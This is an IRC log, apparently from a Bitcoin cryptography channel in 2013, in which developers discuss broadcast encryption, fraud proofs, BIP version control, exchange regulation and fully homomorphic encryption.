21:48 <@gmaxwell> this just seems stupid to me, sorry. I can't fathom why you want this. Fragile, complicated, computationally expensive... and I'm trying to speculate _something_ this gets you over doing the obvious, simple, and secure thing and I'm coming up empty.
21:49 < HM> Bob only has to know his own key, and alices public key, aG doesn't change
21:49 < HM> the group key changes all the time as Bob participates in many groups
21:49 < HM> this way Bob doesn't need his own key within each group
21:51 < HM> consider 1000 Bobs, each participating in 100 groups. your total keys if you use encryption is 100,000. which Ted has to keep safe until both Bob and Alice have at least received a copy
21:51 < HM> with this scheme you only need 1000 keys held by 1000 bobs (no work for Ted, already required) and 100 group keys
21:52 < HM> and Ted doesn't really have to keep much safe. he can make the right hand side completely public
21:53 < HM> damn, i've lost my nick list
21:53 < HM> hopefully that makes sense
21:54 <@gmaxwell> HM: I now send you off reading: http://en.wikipedia.org/wiki/Broadcast_encryption
21:56 < HM> hmm stateless users, sounds promising
21:58 < HM> i think the idea of traitor tracing is what i was getting at with blinding
21:58 < HM> since if Bob decides to do anything other than a multiply with their key they risk detection by Ted who will ban their ass
21:59 < HM> the broadcast analogy seems spot on though thanks
22:01 <@gmaxwell> You should read the cited papers, there has been a moderate amount published on this (a bunch by IBM people, oddly)
22:02 < HM> i think where it varies is Bob actually has 2 way comms with Ted
22:04 < HM> see the appeal is Alice can just talk to Ted any time and use her 2 keys ('g' and 'a') to produce the private key from bG
22:04 < HM> and later public 'g' but never 'a'
22:04 < HM> Ted never has to provide anything he hasn't had for a long time, just knowledge that the whole thing happened
22:05 < HM> hell Alice may evne sync regularly and download Teds logs
22:05 < HM> Ted is just an extension of Alice
22:05 < HM> who doesn't have her private key
22:07 < HM> *later publish 'g'
22:07 < HM> I'll scour the web for papers later, it's 3am. Night
--- Log closed Tue Mar 05 00:00:41 2013
--- Log opened Tue Mar 05 00:00:41 2013
00:04 < amiller> mmm scouring the web for papers
00:04 < amiller> i like this channel
08:02 < HM> I've thought up a better analogy to my problem
08:03 < HM> I'm going to write it up properly
16:39 * HM wonders how sipa is getting on with his speedy secp256k1 implementation
17:11 <@sipa> HM: patience, i don't have that much time to work on it
17:12 < HM> well at least you use the time you do have productively
17:12 <@sipa> haha
17:14 < HM> :|
17:14 < HM> I wasn't be sarcastic
17:14 < HM> being*
17:21 <@sipa> i didn't assume so
17:21 <@sipa> it's still a funny remark
17:21 < HM> why so?
17:23 <@sipa> ok, maybe i have a weird sense of humor
17:23 < HM> or maybe I have no sense of humour !
17:27 <@sipa> it is uncertain whether continuing this discussion would constitute 'using my time productively'
17:28 < HM> I think that is unlikely
17:28 < HM> Carry on
--- Log closed Wed Mar 06 00:00:42 2013
--- Log opened Wed Mar 06 00:00:42 2013
14:54 < HM> Is there a signature algorithm that mainains signer privacy?
14:54 < HM> e.g. where public key recovery isn't possible but you can still verify it if you know the public key
14:56 < HM> the only tweak i can think of is still the public key in as a salt to the message hash
14:57 < HM> Schnorr signatures allow key recovery as well
14:58 < HM> *stick the public key
15:17 <@sipa> HM: just xor the signature with a bit of data that you make part of the pubkey
15:18 <@sipa> or better, symmetrically encrypt it with a key that becomes part of the pubkey
15:19 < HM> yeah i thought about the latter
16:58 < jgarzik> petertodd, gmaxwell: thinking about the irc-bot-as-a-bank (or perhaps N-irc-bots-distributed bank), I think I want a generic identity token service, paid for with bitcoins. Sort of a "network identity", like an email address or DNS name, but purchased with bitcoins. Associate with a bitcoin address and/or GPG identity for authenticated access
16:58 < jgarzik> Anybody done that before?
16:58 < petertodd> Nope, IE fidelity bond style or something else.
16:58 < petertodd> ?
20:27 < gmaxwell> petertodd: So I figured out how to make fraud proofs safe from an engineering perspective. You'll love it.
20:28 < gmaxwell> petertodd: recall one concern we have about fraud proofs is that because they make fraud worthless to try, the damn code won't work right. And then the fraud proofs themselves will be an enormous consensus failure liablity... because eventually someone will create fraud and the proof itself will only partially work. Or they'll make a false fraud proof and
kill non-fradulent blocks.
20:29 < gmaxwell> petertodd: The solution: All blocks are required to commit to two versions of the block. One is the real block, the other is required to be fradulent.
20:29 < gmaxwell> petertodd: and the a fraud proof is used to kill the fradulent one.
20:29 < gmaxwell> so the fraud proof code becomes essential and applies to every block.
20:30 < gmaxwell> (note that I said you'll love it, I kinda expect everyone else to hate this idea)
20:30 < gmaxwell> guess I'll go post it before I forget it again.
20:32 < sipa> It is etched forever in my IRC logs.
20:33 < midnightmagic> i hate the idea!
20:33 * midnightmagic ducks
20:34 < HM2> sipa commits his logs in to the blockchain
20:34 < sipa> yeah, using this method: http://xkcd.com/378/
20:51 < gmaxwell> Luke-Jr: did you get a chance to look at petertodd's OP_RETURN transaction and see why eligius isn't taking it?
23:21 < amiller> gmaxwell, unless it's randomly fraudulent or something that wont have the desired effect
23:22 < amiller> if it could be 'any' fraud, then everyone would just throw it softballs
23:22 < amiller> only 1% of the fraud check codebase would be tested and any real fraud would still get through
23:22 < maaku> petertodd: i consider what I say on #bitcoin-wizards public
23:22 < maaku> but thanks for asking
23:23 < gmaxwell> amiller: I dunno about that, if the reference implementation did not throw softballs then there would at least be some fraction of non-softballs and that would be enough to see that its tested.
23:23 < amiller> unrelated: thanks for your recent post in that utxo thread, it's a good summary of all the cool ideas
23:24 < gmaxwell> I suppose it could actually require the fraud to be of a specific type, and you just don't know which block is which.
23:24 < maaku> petertodd: i think that's a very good point re: patents
23:24 < maaku> and logging #bitcoin-wizards
23:24 < gmaxwell> e.g. prior block hash picks the fraud, ... but I'd worry somewhat that adding more network rules has its own risks.
23:27 < amiller> right now the main defense against people mining without checking the whole history is that there's no command line parameter in the reference client to override the start point
23:27 < amiller> (er, well, that and the fact you need to start from the beginning to get a utxo index)
23:27 < gmaxwell> amiller: yea, no accident that there is no way to do that.
23:27 < amiller> we should be able to rely on something like spv security with that
23:27 < gmaxwell> but thats ... uhhh fragile.
23:28 < amiller> it would take some kind of economic thing i guess
23:28 < amiller> but what we *hope* is that people *want* to check back as far as they can
23:28 < amiller> that it's *cheap* enough for them to be able to do so
23:28 < gmaxwell> because eventually something like btcgo (which has insanely slow ecdsa validation) will just offer a don't validate anyhting mode, I guess.
23:28 < amiller> and to the extent that it requires the public good of everyone dragging around enough data to do so, and being willing to share it when needed, that should be incentivized as well
23:29 < amiller> also it really only is a problem if *miners* haven't validated
23:29 < amiller> because everyone else is gonna be spv anyway
23:29 < petertodd> amiller: who's going to to run the full nodes for the spv nodes to connect too?
23:30 < amiller> so the cost to validate as a function of how far back you want to go is (part of) what determines how far back people will check
23:30 < petertodd> gmaxwell: I'm starting to think maybe the think to do is 1) make fraud detection profitable, and 2) make creating fradulent blocks cheap or even free
23:31 < gmaxwell> petertodd: subsidy rewarded to the provider of the fraud notice? :P
23:31 < petertodd> gmaxwell: yes!
23:32 < gmaxwell> kinda like your mining via successful fraud idea.
23:32 < petertodd> lol, yeah
23:32 < petertodd> mainly I want to make it possible for people to cheaply test out fraud detection
23:32 < petertodd> and equally, force everyone else to verify because it's cheap to commit fraud to rip off the non-verifying community
23:33 < petertodd> obviously actually getting the right set of incentives will be hard, but I think the very general idea has merit
23:33 < amiller> i like the concept of "anti-fragile" here
23:33 < amiller> we're best off encouraging a constant balanced supply of fraud and fraud detection
23:34 < petertodd> that's a very good term for it
23:34 < amiller> people should get frauded, a little bit
23:34 < petertodd> look at how non-standard transactions catch up so many alt-implementations, yet it hardly gets tested because only eligius mines them (and I think they might not be right now)
23:34 < amiller> maybe you can force fraud detection to have holes
23:34 < amiller> that would encourage some frauds to get through
23:35 < amiller> maybe everyone has a different hole
23:35 < amiller> but they're all different
23:35 < amiller> that way you can make a fraud, it gets through *someone*, bad luck for them you take their fraud bond
23:36 < amiller> if there's a systematic error then it will be *really* profitable to make it
23:36 < amiller> because you'll take everyone's punctured fraud checker bond
23:36 < petertodd> yeah, that's part of it too, you want people to have incentives to, say, test miners that aren't checking
23:36 < amiller> but generally there will always be some level of success with it
23:37 < petertodd> the idea of having every block commit to two different blocks is an interesting one, though it's almost like you want to be able to prove fraud in the form of "neither block is fraudulent"
23:38 < petertodd> heck, maybe make the de-facto rule be "extend the first block, except when it's been proven fraudulent", which allows miners who get away with non-detected fraud to have their rivals do useless work
23:41 < amiller> what you don't want is mutually assured destruction though, where no one makes the fraud, and no one checks the fraud, because they both overestimate the effectiveness of the others, and then all the missiles are rusted
23:41 < amiller> that may or may not have made any sense
23:41 < amiller> but the point is that there *should* be a healthy amount of fraud in the stationary case
23:42 < petertodd> right, but it's not MAD, because you're only actualy punished if both blocks are fraudulent
23:53 < amiller> MAD wasn't the right analogy
23:53 < amiller> put it this way, who's going to be *paying* for the costs of the constant fire drills
23:54 < petertodd> the only cost is that you need more confirms for a tx to be sure
23:55 < petertodd> the auditing *should* be done anyway
23:56 < amiller> i think you're missing my point but i only have a weak grasp of my point anyway so maybe i'll bring it up again if i have a solution in mind :o
23:57 < petertodd> ha
23:59 < gmaxwell> the important thing is to make firedrills cheap.
23:59 < gmaxwell> then even counting on a few altruists to do them isn't a big deal.
--- Log closed Sun Oct 20 00:00:13 2013
--- Log opened Sun Oct 20 00:00:13 2013
--- Day changed Sun Oct 20 2013
00:00 < petertodd> and people don't get accused of being satoshi by large companies for doing them :P
00:00 < gmaxwell> what company accused which of us of being satoshi? :P
00:02 < petertodd> when coinbase kept on getting forked by those weird transaction a: they assumed I did it specificly to kill them and b: at one point one of them even said something that was basically along the lines of "only satoshi could have known enough to make the tx"
00:02 < petertodd> kinda funny really
00:03 < gmaxwell> petertodd: was it you that killed btcgo?
00:03 < petertodd> btcgo?
00:04 < petertodd> what's btcgo?
00:04 < gmaxwell> the conformal software btcd stuff.
00:04 < petertodd> huh, not familiar with it, I assume it's written in go right?
00:04 < gmaxwell> Killed on testnet by invalid script stuff inside an unexecuted OP_IF branch.
00:04 < petertodd> when was this?
00:04 < gmaxwell> couple weeks ago.
00:05 < petertodd> nah, I've been busy
00:05 < gmaxwell> they announced that it was "done" and within a day or two it was forked on testnet.
00:05 < petertodd> ha
00:05 < gmaxwell> I think they think I did it, as they seemed a bit irritated at me about it.
00:05 < petertodd> I did add a test case for something similar to that though in the unittests
00:05 < petertodd> and there were already unittests for specific versions of that anyway
00:06 < petertodd> ...why do I get the feeling that my branch of python-bitcoinlib probably is more conformal than btcgo...
00:07 < gmaxwell> They're putting in more effort than most alt implementors.
00:07 < gmaxwell> esp after getting bludgeoned once or twice. e.g. they pass the block pulltester.
00:07 < petertodd> I'm pretty sure the unittests would have caught that one.
00:08 < gmaxwell> They complained the unittests didn't have that case.
00:08 < gmaxwell> I asked them to open an issue, lets see if they did.
00:08 < petertodd> "0", "IF RESERVED RESERVED1 RESERVED2 ELSE 1 ENDIF", "RESERVED ok in un-executed IF"
00:08 < petertodd> for instance
00:09 < petertodd> oh, was this a un-named opcode?
00:09 < petertodd> maybe that's what they tripped up on
00:09 < gmaxwell> unfortunately they didn't take the approach I suggested with pulltester: complete your implementation, when you are really convinced that its correct only then run pulltester.
02:06 < petertodd> jgarzik: that was brought up before actually with stored value cards, and IIRC whether or not the transaction "actually" happened on some server somewhere wasn't considered to be as important as simple pragmatic problems of verifying them at borders
02:06 < phantomcircuit> they have done it before for someone entering with CAD
02:07 < gmaxwell> obviously I wouldn't bring a bunch of coin unless I was planning on playing the declariation game.
02:07 < petertodd> phantomcircuit: well, keep in mind that having amounts just over the limit violates laws in other ways
02:07 < gmaxwell> oh well, thats perhaps a problem then. I guess I need to consult an attorney first. bleh.
02:08 < phantomcircuit> petertodd, if you have funds which are your own and you declare it then it's entirely on the discretion of the border patrol agent
02:08 < petertodd> phantomcircuit: there's a great example of a small grocery store in a poor area that had their bank accounts seized because they were making frequent deposits just under $10k, which was considered to be illegal structuring, but their insurance company mandates that no more than $10k of cash be held...
02:08 < phantomcircuit> although given that if they confiscate it that indirectly goes towards paying their salary
02:08 < phantomcircuit> im not thinking you have good odds
02:09 < petertodd> phantomcircuit: yeah, proceeds from civil forfeitture should always be destroyed and returned to society in the form of deflation to keep the incentives right
02:10 < gmaxwell> or at least sent to a maximally far away place. E.g. added to social security of the nation's general fund.
02:11 < gmaxwell> (arguably the US would be silly to return it as deflation: people all over the world use USD, keeping the benefit of our forfeitures nationally local isn't too much to ask)
02:11 < petertodd> gmaxwell: ok, use it to fund legal aid :P
02:11 < gmaxwell> ohh hey, thats a neat idea.
02:11 < gmaxwell> give it to the public defenders.
02:12 < petertodd> yup
02:13 < petertodd> kinda the same thinking as to why I think if your ever charged with something, and the prosecution can't get a conviction, even on only some of the charges, you should always get compensation - use it to pay for legal aid
02:14 < petertodd> what's really nice about that is it helps avoid the prosecution piling up charges as a threat
02:14 < petertodd> problem is courts are relatively corrupt because judges, prosecution, and law enforcement all know each other - just human nature
02:15 < gmaxwell> well also corrupt because most people who are charged are actually guily... encourages a kind if laxity.
02:15 < petertodd> yup
02:16 < petertodd> places like japan with 99.7% conviction rates are scary...
02:16 < jgarzik> scary... but it's a headline, too
02:16 < petertodd> it also encourages other abuses "so what if we beat the suspect a bit? he's guilty anyway"
02:16 < jgarzik> some cases just aren't brought unless they are highly likely to be won
02:16 < jgarzik> well s/some//
02:17 < petertodd> jgarzik: yes, but that doesn't change the dynamics of the system re: laxity
02:17 < petertodd> and for that matter public opinion
02:17 < jgarzik> I'd be willing to bet the general public knows that some innocents go to jail
02:19 < petertodd> meh, general public don't give me much faith re: skepticism
02:21 < petertodd> I mean, heck, in highschool one friend of mine accused the other of raping her... and reality is I'll never know what happened. But so many people who I say this too just don't understand how it's possible to not be sure. ("But your supporting rape culture!" "The bitch was lying of course!")
02:22 * jgarzik kicks xchat
02:37 * jgarzik looks at the clock, and decides it is far too late. *sniff* Ah, yearn for the days when I would code until 5-6am, and get up at noon.
08:20 < adam3us> musing about double spend protection - to what extent other models are possible vs some unavoidable / most efficient pattern t the existing logic
08:21 < adam3us> so eg double spends are not broadcast, so 0-confs are not secure until wait for the conf
08:21 < adam3us> an alternative discussed by a few people , double spends are broadcast (even broadcast at high priority), then you get a negative notification so if you wait a while
08:22 < adam3us> eg 20 sec maybe you get some indication
08:22 < adam3us> i was wondering if the reason it is how it is because its sort of attractive to have a positive indicator, even though it can be retracted later (a different spend ends up in the confirmation)
08:23 < adam3us> vs a negative indicator (waiting for absence of conflicting spends)
08:23 < adam3us> though i think the net result is the same
15:48 < HM2> I wonder if a taxi driver will give me a discount for paying in bitcoin
15:48 < HM2> costs almost as much for a taxi at an unreasonable hour to my local airport as it does for an extra night in a hotel to avoid it
16:07 < jgarzik> heh
18:54 < Luke-Jr> petertodd: markdown sucks, as does having to use pull requests for every minor BIP change :P
18:55 < Luke-Jr> BIPs actually began as a git repo, but that died quickly.. :p
18:58 < sipa> yeah, the wiki used to be just a dump of the repository
18:59 < sipa> but it didn't take long before people just used the wiki pages without pullreqing the changes
19:02 < petertodd> sounds to me like a lack of proper change tracking!
19:02 < petertodd> sheesh
19:02 < sipa> it's just too inconvenient
19:02 < petertodd> could always use git-submodules, lol
19:03 < petertodd> sipa: that's what my co-workers say about revision control... :/
19:03 < petertodd> oh well, the people have spoken :(
19:03 < sipa> welk the repository still exists
19:03 < petertodd> oh yeah?
19:03 < gmaxwell> It would probably be okay for 'finished' BIPs.
19:03 < sipa> we could bring it up ti date
19:04 < sipa> genjix/bips iirc
19:04 < petertodd> gmaxwell: that's my point really: BIPs should become finished at some point with further changes tracked - we don't want there to be any incentive or ability to sneak in changes, especially if they may have security issues
19:17 < sipa> agree there
19:19 < petertodd> well, maybe I'll take my bloom bip and do up a bip repo with subtrees or somesuch for sake of argument
19:19 < petertodd> work through how it could be done in a more user-friendly way
19:21 < petertodd> probably something where only a disaster will change people's minds - at work every time they try to build a backup of a piece of equipment it seems opinions about revision control soften...
19:23 < sipa> clearly we just need a wiki whose storage backend uses git :)
19:24 < petertodd> you realize one exists right?
19:24 < sipa> i didn,t know, but my guess would have been yes :)
19:24 < petertodd> I've actually used it for an art project, and it worked really well for us
19:25 < petertodd> the artists (well author) got a nice GUI to play with, and yet we still got really solid revision logging, versioning and backups.
19:25 < petertodd> s/author/authors/
19:27 < petertodd> https://github.com/gollum/gollum
19:27 < petertodd> I think that's what we used, was a while ago
19:27 < petertodd> the actual git repo of course is totally generic and doesnt say what software was used to make it!
19:35 < sipa> petertodd: i still don't get what your concern is with the canonical pushes pullreq?
19:36 < sipa> is there a case where we create things that this pullreq would reject?
20:30 * jgarzik volunteers petertodd for some work and runs
20:31 < jgarzik> git repo is clearly superior. Should be easy enough to get a bot that copies to read-only wiki pages.
20:32 < jgarzik> Getting committed to the git repo should be a Big Deal, and presumes that rounds of discussion have proceeded
20:33 < jgarzik> I would probably publish a BIP queue too, for trail balloons, works in progress, kinda like IETF draft
20:33 < jgarzik> much much lower barrier to entry
20:34 < gmaxwell> Having a queue would be a great idea. I will make that happen. (Queue can just be a wiki page, I think)
20:44 < jgarzik> gmaxwell, the points about source code control stand, IMO
20:44 < jgarzik> gmaxwell, I would prefer hash-sealed BIPs
20:45 < jgarzik> gmaxwell, it's a bit lame that we don't, being bitcoin and all
20:47 < jgarzik> A robot that pushes git repo changes to wiki should be straightforward
20:47 < gmaxwell> jgarzik: oh absolutely, I agree. I don't think that source control is worth forcing on people for BIPs which are early in life. It absolutely should be used when they're "done".
20:48 < gmaxwell> but we're not even (yet) using signing in GIT... so "being bitcoin and all" isn't itself that compelling yet. :P
20:48 < jgarzik> gmaxwell, how about "email jgarzik the latest draft, and he will stick it in the git repo for you"?
20:48 < gmaxwell> (well, okay, signed tags)
20:49 < gmaxwell> It's not me you need to satisify. I'm happy with source control.
20:49 < jgarzik> gmaxwell, as a process proposal, to make the barrier of entry low, and address the "SCM not worth forcing..." complaint.
20:50 < sipa> i git-sign all github merges i do now :)
20:51 < jgarzik> e.g. Policy proposal: Anybody can create a BIP. As long as it is remotely related to bitcoin and has formatting similar to other BIPs, accept into bips.git/draft. Once general consensus is reached, promote to bips.git/. Robot auto-copies all changes, converting markdown to wikitext if people like markdown as source.
20:52 < jgarzik> I'll volunteer at BIPS editor, but I think whole dev team should have commit access to bips.git
20:52 < jgarzik> *as
20:52 < sipa> i'm sure people will complain that the developers of just one clientr shouldn't have privileged access
20:53 < jgarzik> model loosely after IETF draft -> IETF RFC process, albeit with less time and bureaucracy ;p Some BIPs come together in days, some in months or years.
20:53 < sipa> note that extra process does scare people away
15:59 < jgarzik> warren, tempting. I was hoping to wait for the first beta, and then try a reinstall, hoping that EFI was simply fixed at that point
16:00 * jgarzik is concerned that Fedora is falling behind, not being able to install well on -any- modern laptop. Two for two in the failure department. Neither my wife's new laptop, nor mine (different brands, both from Wal-Mart, both EFI) worked with Fedora at all. CD boots, but failed to create a bootable system.
16:00 < warren> jgarzik: I made that Fedora 18 with epoch++ to prevent yum from upgrading it. maybe that isn't a good idea. I dunno
16:02 < warren> jgarzik: is this after mjg59 left RH?
16:02 < jgarzik> warren, heh, he's coming back
16:02 < jgarzik> but yes
16:03 < warren> coming back? really?
16:04 * gmaxwell waits for warren to ask mjg59 in another window. :P
16:04 < warren> nah
16:05 < warren> jgarzik: I also have a stack for Fedora that allows you to use gitian easily.
--- Log closed Sat May 25 00:00:22 2013
--- Log opened Sat May 25 00:00:22 2013
00:37 < amiller> why is there no theoretical model for the internet
00:37 < amiller> the internet looks nothing like the point-to-point connected networks in my distributed systems textbook
00:37 < amiller> not even close
00:37 < amiller> https://upload.wikimedia.org/wikipedia/commons/d/d2/Internet_map_1024.jpg the internet looks liek this right
00:39 < warren> not enough tubes
00:40 < amiller> what is IP supposed to do even if it works correctly
00:40 < amiller> how much does an ip address cost
00:40 < amiller> are they cheaper in bulk
00:40 < amiller> how much does traffic cost, that's cheaper in bulk too isn't it
00:40 < amiller> is it cheaper if i do anycast message in a bottle style
00:41 < amiller> is there any commuications model that includes skywriting and batsignals and billboards and radio jamming
00:41 < weex> there should be
00:46 < amiller> the whole thing needs more proof of work
00:46 < amiller> everywhere
00:46 < amiller> pow all the things
01:19 < amiller> also merkle all the things
01:19 < amiller> these are related
--- Log closed Sat May 25 02:24:27 2013
--- Log opened Sat May 25 02:25:45 2013
--- Log closed Sun May 26 00:00:35 2013
--- Log opened Sun May 26 00:00:35 2013
19:41 < warren> Heh. LTC is trading at $3.141592
19:58 < gmaxwell> warren: is there any way to get USD out of an exchange that trades in LTC?
19:58 < gmaxwell> IIRC people used LR to get money out of btc-e...
19:58 < warren> gmaxwell: apparently the last method (OKPay) was killed in the last week
19:59 < warren> gmaxwell: mtgox apparently still intends to trade LTC and NMC, just a question of when... I'm guessing their legal trouble is slowing things down.
19:59 < warren> gmaxwell: weexchange allows LTC withdrawal to USD in an indirect way
20:00 < warren> weexchange <=> bitfunder LTC
--- Log closed Mon May 27 00:00:37 2013
--- Log opened Mon May 27 00:00:37 2013
--- Log closed Tue May 28 00:00:40 2013
--- Log opened Tue May 28 00:00:40 2013
00:28 < weex> gmaxwell: bitfinex will do wires and just added LTC
21:35 < midnightmagic> warren: OKPay was killed from btc-e, or OKPay was killed in general? The website's still up.
21:36 < warren> midnightmagic: why are you asking me, as if I know anything about this?
21:38 < midnightmagic> warren: because you're the one that said so? "16:58 < warren> gmaxwell: apparently the last method (OKPay) was killed in the last week"
21:39 < warren> midnightmagic: oh. it seems they are stopping dealing with bitcoin in general. they stopped with mtgox too.
21:39 < midnightmagic> Ah.
22:02 < Luke-Jr> OKPay blocked MtGox too I hear
--- Log closed Wed May 29 00:00:43 2013
--- Log opened Wed May 29 00:00:43 2013
09:54 < jgarzik> midnightmagic, yeah, OKPay dropped bitcoin in general
09:54 < jgarzik> Definitely a wave of [expected] enforcement actions
10:00 < petertodd> Personally I'm really curious to see if they go after localbitcoins and bitcoin-otc in any way.
10:06 < jgarzik> petertodd, They took down exchangezone.com, which was surprisingly similar
10:07 < jgarzik> exchangezone.com did do some holding of funds, though, IIRC, so not quite the same target.
10:07 < petertodd> localbitcoins holds fund
10:08 < petertodd> they have a SMS escrow-like service where you SMS to release the funds to the receiver so you don't have to wait for confirmations
10:08 < jgarzik> petertodd, veeerrryyyy interesting
10:09 < petertodd> and they operate in a 139 countries, so guaranteed they break the law somewhere
10:10 < petertodd> hosted in germany FWIW
10:52 < jgarzik> petertodd, yeah I figured that. Though I thought it was hosted in Finland.
10:52 < jgarzik> I think a Finn runs it
10:58 < petertodd> Figures. Same ISP as easywallet
10:59 < petertodd> Be interesting to see how the foundations lobbying plans go.
10:59 < petertodd> Patrick Murck seemed pretty reasonable at the conf.
11:02 < jgarzik> petertodd, I am strongly in favor of lobbying. Too many people confuse lobbying with regulation. If there are anti-bitcoin forces in government, I'm all for -- for those who wish to fund it -- there being pro-bitcoin forces opposing them.
11:03 < jgarzik> There seems little danger IMO of lobbying making life worse for bitcoin. There will never be a wonderful, regulation-free life that crypto-anarchists want, but maybe it can be made less bad.
11:04 < jgarzik> I'm happy with the nature of bitcoin, and by its nature it cannot really be outlawed.
11:04 < jgarzik> I do agree w/ Adam B that a regulatory regime is quite possible, targeting c.f. mining pools
11:04 < BlueMatt> the internet (tm) in general needs more lobying
11:04 < petertodd> Agreed. As Patrick said, you almost certainely can't get unregulated exchanges, but you may be able to reduce or eliminate regulation on virtual currency transactions, and in any case you can't make it worse.
11:04 < BlueMatt> but bitcoin too
11:05 < petertodd> Even when you are doing things that are made illegal by regulation, just having the lobbying there to make them easier, and/or reduce penalties to something sane, is a big win.
11:05 < jgarzik> I do fear the day when a court order requires a bitcoin operator to refuse spends of bitcoin 0x1234
11:06 < jgarzik> mtgox already does this a bit
11:06 < jgarzik> agreed
11:06 < petertodd> Same, and I think it's worth it to get as much technical inertia as possible behind anonymity and privacy within the protocol as soon as possible to make implementing those regulations disruptive.
11:07 < petertodd> That's why we realy, really don't want to be in a situation where the code is already there, AKA blacklists of any sort.
11:08 < petertodd> Too bad the math for an efficient zerocoin doesn't exist yet...
11:09 < jgarzik> Part of staving off regulators is interia in general: if it can be shown that bitcoin is "mostly criminals", then they can effectively argue it should be made illegal generally. You see a lot of text like that in current Liberty Reserve warrants and press releases. Copyright is a similar standard: there must be "substantial non-infringing uses."
11:09 < jgarzik> Thus, getting "regular users" on boat is critical
11:10 < jgarzik> Criminal use is inevitable, just like with the US Dollar. The challenge is non-criminal use :)
11:10 < jgarzik> Technically, with a court order, I fear a US/non-US fork :(
11:10 < petertodd> Well, non-criminal use worries me... Bitcoin isn't a great payments system for a lot of reasons, and I firmly think that we'll see more stuff like Mintchip made to combat it in that arena.
11:11 < petertodd> Granted, Bitcoin does have a very legit use unrelated to that: investing in an asset class totally different from any other. But even that can be portrayed badly.
11:11 < jgarzik> I think it's fine for value transfers, where you can wait for the confirmations. If you cannot wait the requisite amount of time, ideally, you should be using a companion payment network.
11:12 < BlueMatt> jgarzik: spv clients :p
that settles on the main bitcoin network
11:12 < jgarzik> BitPay is interested in "payment channels", I wonder if they would get behind an effort to run off-chain payment networks
11:12 < petertodd> Sure, but it's a whole new currency, and this and that and... if the Canadian Mint was smart they'd promote Mintchip heavily internationally. After all, it's more private than Bitcoin, mostly.
11:13 < jgarzik> heh, a lot of the Liberty Reserve press and comments were also pointing out that LR was "more private and anonymous than bitcoin"
11:13 < BlueMatt> jgarzik: let me point you to https://en.bitcoin.it/wiki/Contracts#Example_7:_Rapidly-adjusted_.28micro.29payments_to_a_pre-determined_party
11:13 < BlueMatt> "Mike Hearn is working on an implementation of this protocol in bitcoinj. Please contact him for more information."
11:14 < jgarzik> BlueMatt, nod, though that's dependent upon nLockTime AFAICT
11:14 < BlueMatt> no
11:14 < BlueMatt> it depends on nLockTime being non-standard now (with some ability to function if it becomes standard)
11:17 < Luke-Jr> nLockTime isn't non-standard.. just if it hasn't passed
11:17 < BlueMatt> sorry, it depends on that, not all of it being nonstd
11:18 < petertodd> jgarzik: I really hope someone does that. I'm totally ok with it being a closed paypal-like system - there's always room for alternatives
11:18 < petertodd> jgarzik: ha, yeah, compared to having all your pseudonyms on the blockchain
11:19 < petertodd> BlueMatt: jeremy spilman came up with a better protocol that doesn't need nLockTime
11:20 < petertodd> jgarzik: Ideally you'd start with an open-protocol, where users/merchants/etc can choose what keypairs they trust, and then build upon that.
11:20 < BlueMatt> petertodd: not 100% sure, just skimmed that mail, but I think the new one on the wiki is the same
11:20 < BlueMatt> petertodd: and (again) it depends on nLockTime being nonstandard up to lock time
21:09 < adam3us> petertodd: not obviously, but maybe i am speaking
21:10 < petertodd> hmm... maybe actually a router could work, in the sense that you might not know what incomprehensible data packet sent to your peers was garbage padding vs. the real data
21:10 < adam3us> petertodd: i was thinking eg an instance generator that results in a FHE program running that knows its own keys and is bound to the program hash that is publicly verifiable like provably fairly generated
21:11 < petertodd> sure
21:12 < petertodd> I'm saying, imagine a model where we have some FHE program, that accepts packets from a set of peers (who sign all their packets) now the FHE program takes those packets, does some hidden computation, and gives a set of new data to send out again. You can't tell if the data is padding or messages, or if what came in was padding or messages.
21:12 < adam3us> petertodd: seems like it can potentially match TPM but purely virtually
21:12 < petertodd> Exactly. Now I don't think this will work if every peer in the system is compromised, but it could be useful if only a subset are.
21:13 < adam3us> but if the instance generator works, you can encrypt msgs for it and only an instance of the verifably fairly generated tor mix program could decrypt the data and sign the result
21:13 < adam3us> like virtual remote attestation
21:14 < petertodd> yup
21:14 < adam3us> i am suspecting such things maybe logically possible, but just to do anything basic is so ridiculously inefficient that people dont look at it uch
21:15 < adam3us> mike hearn gave a ref to some recent eprint fhe but its so hard to decipher what the actual perf is
21:16 < adam3us> they need a benchmark like decrypt one AES block
21:16 < adam3us> if it takes a week on a supercomputer we know to come back in a few years and look what they've optimized
21:16 < petertodd> huh
21:17 < petertodd> yeah, I can't claim to know too much about that stuff
21:17 < adam3us> its just to say, for it to be interesting to go read their stuff in detail, you want to know when they say "more efficient blah blah than x" what we're talking about
21:18 < adam3us> 1GB FHE keys and weeks per AES encryption
21:18 < adam3us> its all done at public key operation per individual and or or gate
21:18 < adam3us> that you have to build a virtual cpu out of
21:18 < adam3us> so its horrendous
21:18 < petertodd> yup
21:33 < adam3us> the other problem with FHE is because its software it can be snapshotted and rolled back and have its network inputs replayed
21:33 < adam3us> like a vm
22:26 < jrmithdobbs> gmaxwell: i'm so annoyed by the haskell documentation ... all of it by anyone basically ;p
22:26 < jrmithdobbs> it's all so academia focused
22:26 < gmaxwell> adam3us: there are some more FHE results claiming much higher performance. (e.g. an AES block in like two seconds)
22:27 * gmaxwell reads backwards
22:29 < gmaxwell> petertodd: yea, codecs I work on are technically munitions, but the ITAR regulations are effectively dead letters for free software in the US thanks to DJB.
22:29 < gmaxwell> (codecs which can code speech at or under 2400 bps are scheduled)
23:28 < realazthat> speaking of SCIP
23:28 < realazthat> I writing an interpreter/assembler/disassembler
23:28 < realazthat> for tinyram
23:29 < realazthat> then hopefully completing the backend
23:29 < realazthat> (I highlight "SCIP" :P)
23:36 < gmaxwell> realazthat: are your tools working yet? :P
23:37 < realazthat> the interpreter is working-ish
23:37 < realazthat> there are no doubt some bugs left, they should be usable in less than a week
23:37 < realazthat> same with the assembler
23:37 < realazthat> I haven't done the disassembler yet
23:38 < realazthat> I have to speak to Eran Tromer to work out some ambiguities I have
23:38 < realazthat> and get some test files
23:38 < realazthat> arithmetic works
23:39 < realazthat> I'll put it all on github
23:39 < realazthat> the LLVM backend is still stalled though
23:39 < realazthat> because it is huge infrastructure
23:40 < gmaxwell> I want to do a SIN-blinder at some point...
23:40 < realazthat> whats that?
23:41 < realazthat> something zero-knowledge?
23:42 < gmaxwell> SIN is the bitcoin passports stuff. E.g. provably throw away bitcoins and then use the proof as an expensive "identity" to get access to stuff (and if you spam your identity gets blacklisted)
23:42 < gmaxwell> The problem with SIN is that you end up giving a linkable identity to the services you use, plus they learn something about your finances by looking at the coin history.
23:42 < realazthat> ah and SCIP can help with that I assume
